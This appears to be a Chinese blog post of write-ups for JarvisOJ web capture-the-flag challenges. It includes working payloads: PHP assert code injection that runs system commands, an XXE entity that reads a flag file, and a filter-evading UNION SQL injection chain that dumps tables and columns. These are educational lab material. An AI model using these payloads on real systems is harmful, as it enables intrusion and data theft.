zoukankan      html  css  js  c++  java
  • JarvisOJ web部分题解(updating...)

    babyphp

    首先右键看源码
    在这里插入图片描述
    十分沙雕的在url后输了下?page=fhlag,结果当然是看不到,但是我们可以从这里知道有flag.php这个文件了
    在这里插入图片描述
    一看到GIT,想到GIT源码泄露,用某位大佬的工具来获取源码
    在这里插入图片描述
    可以看到有我们想要的flag.php,当然打开也是没有flag的
    从index.php可以得到判断代码

    <?php
    if (isset($_GET['page'])) {
    	$page = $_GET['page'];
    } else {
    	$page = "home";
    }
    $file = "templates/" . $page . ".php";
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    assert("file_exists('$file')") or die("That file doesn't exist!");
    ?>
    

    看到assert()函数反手一个代码执行读取flag.php
    小垃圾经过多次测试与参考大佬wp,得到payload:?page=flag’.system(ls).’
    这样就能将flag’.system(ls).'作为strpos()的第一个参数了
    $file = "templates/" . "flag'.syatem(ls).'" . ".php";
    assert("strpos('flag.'syatem(ls).'', '..') === false") or die("Detected hacking attempt!");
    列出下所有文件
    在这里插入图片描述
    然后利用cat命令读取flag.php文件
    在这里插入图片描述
    在源码中得到flag
    在这里插入图片描述
    结语:一定要拼接好代码!

    admin

    没有什么思路,抓包看也没有什么有用的信息,于是就扫了网站目录
    还真有。。。
    在这里插入图片描述
    又看到可爱的机器人啦,进去看看
    在这里插入图片描述
    提示/admin_s3cr3t.php页面
    在这里插入图片描述
    就直接给flag了,我还以为要继续找什么的
    好吧是我被骗了。。。答案错误嘤嘤嘤
    再抓包看看,改下admin的值就行
    在这里插入图片描述

    localhost

    伪造一下IP地址即可
    在这里插入图片描述

    PORT51

    十分天真的用 http://web.jarvisoj.com:51/试了试
    其实应该是用公网ip端口访问,而不是改目的端口访问
    windows用这个命令就行
    curl --local-port 51 http://web.jarvisoj.com:32770/
    但是服务器好像出了问题没有给flag

    LOGIN

    在这里插入图片描述
    一开始眼瞎没有看到响应包的提示还进行爆破了…尬笑
    也是第一次知道md5($pass,true)
    在这里插入图片描述
    具体原理参考:https://www.freebuf.com/column/150063.html写的超级棒!
    输入ffifdyop得到flag
    在这里插入图片描述

    神盾局的秘密

    通过审查元素大法发现图片来源为src="showimg.php?img=c2hpZWxkLmpwZw==",猜测任意文件读取漏洞
    在这里插入图片描述
    试着读取index.php,得到源码
    在这里插入图片描述
    应该是利用反序列化,先看下shield.php中Shield类的定义
    在这里插入图片描述
    接下来就是构造序列化字段了
    经过我不太熟练的构造,get it~(查看源码可得)
    在这里插入图片描述

    WEB?

    在这里插入图片描述
    一开始看到这个登录框还以为是sql注入。。。抓包也没有发现什么提示
    在这里插入图片描述
    看源码又没看出个什么。。。看了大佬们的wp说是app.js有问题
    在这里插入图片描述
    复制在app.js搜索一下
    在这里插入图片描述
    再看下checkpass()
    在这里插入图片描述
    25元一次方程组,hhhhhh,笔算是不可能笔算的,上python

    data = [81,87,66,123,82,51,97,99,55,95,49,115,95,105,110,116,101,114,101,115,116,105,110,103,125]
    flag = ''
    for i in data:
        flag += chr(i)
    print flag
    

    在这里插入图片描述
    结语:一直以为源码的js啥的没啥好看的,是我孤陋寡闻了
    dbq又触及到我的知识盲区了

    api调用

    以为是命令注入代码注入啥的,又是一道看了wp的题
    XXE漏洞 学习了
    虽然是最近在看的,但看的都是原理还没有实践过

    ]>引用外部文件

    1.抓包更改content type:application/xml
    2.构造xml注入代码,由于提示在,用system命令查看

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xdsec [
    <!ELEMENT methodname ANY >
    <!ENTITY xxe SYSTEM "/home/ctf/flag.txt" >]>
    <methodcall>
    <methodname>&xxe;</methodname>
    </methodcall>
    

    找了个xml代码。。。还不会写
    在这里插入图片描述

    In a mess

    右键源码得到hint:index.phps
    在index.phps得到代码

    <?php
    error_reporting(0);
    echo "<!--index.phps-->";
    
    if(!$_GET['id'])
    {
    	header('Location: index.php?id=1');
    	exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.'))
    {
    	echo 'Hahahahahaha';
    	return ;
    }
    $data = @file_get_contents($a,'r');
    if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    {
    	require("flag.txt");
    }
    else
    {
    	print "work harder!harder!harder!";
    }
    ?>
    

    关键处为:

     $data = @file_get_contents($a,'r');
        if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    

    id用弱类型绕过,a用伪协议绕过,b利用eregi()函数的特性(00截断)绕过
    所以payload:

    ?a=php://input&id=0a&b=%004qqqqq
    POST:1112 is a nice lab!
    

    在这里插入图片描述
    进入给的目录???id=1难道是sql注入?
    在这里插入图片描述
    加个单引号看看,果不其然
    在这里插入图片描述
    查询数据库名
    ?id=-1/12/uniunionon/h/seselectlect/h/1,2,(selselectect/h/context/h/frofromm/h/content)%23
    在这里插入图片描述
    爆表名

    ?id=-1/*h*/uniunionon/*h*/seselectlect/*h*/1,2,(seselectlect/*h*/group_concat(table_name)/*h*/frofromm/*h*/information_schema.tables/*h*/where/*h*/table_schema=database())#
    

    在这里插入图片描述
    爆列名,注意将表名进行hex编码

    ?id=-1/*h*/uniunionon/*h*/seselectlect/*h*/1,2,(seselectlect/*h*/group_concat(column_name)/*h*/frofromm/*h*/information_schema.columns/*h*/where/*h*/table_name=0x636f6e74656e74)#
    

    在这里插入图片描述
    读内容

    ?id=-1/*h*/uniunionon/*h*/seselectlect/*h*/1,2,(selselectect/*h*/context/*h*/frofromm/*h*/content)%23
    

    在这里插入图片描述

    你是这白开水一样淡的日子里偷偷加的一颗糖~~
  • 相关阅读:
    SharePoint 2013 商务智能报表发布
    sharepoint designer web 服务器似乎没有安装microsoft sharepoint foundation
    SharePoint 2013 Designer系列之数据视图
    SharePoint 2013 Designer系列之数据视图筛选
    SharePoint 2013 Designer系列之自定义列表表单
    SharePoint 2013 入门教程之创建及修改母版页
    SharePoint 2013 入门教程之创建页面布局及页面
    SharePoint 2010 级联下拉列表 (Cascading DropDownList)
    使用SharePoint Designer定制开发专家库系统实例!
    PL/SQL Developer 建立远程连接数据库的配置 和安装包+汉化包+注册机
  • 原文地址:https://www.cnblogs.com/0nc3/p/12063467.html
Copyright © 2011-2022 走看看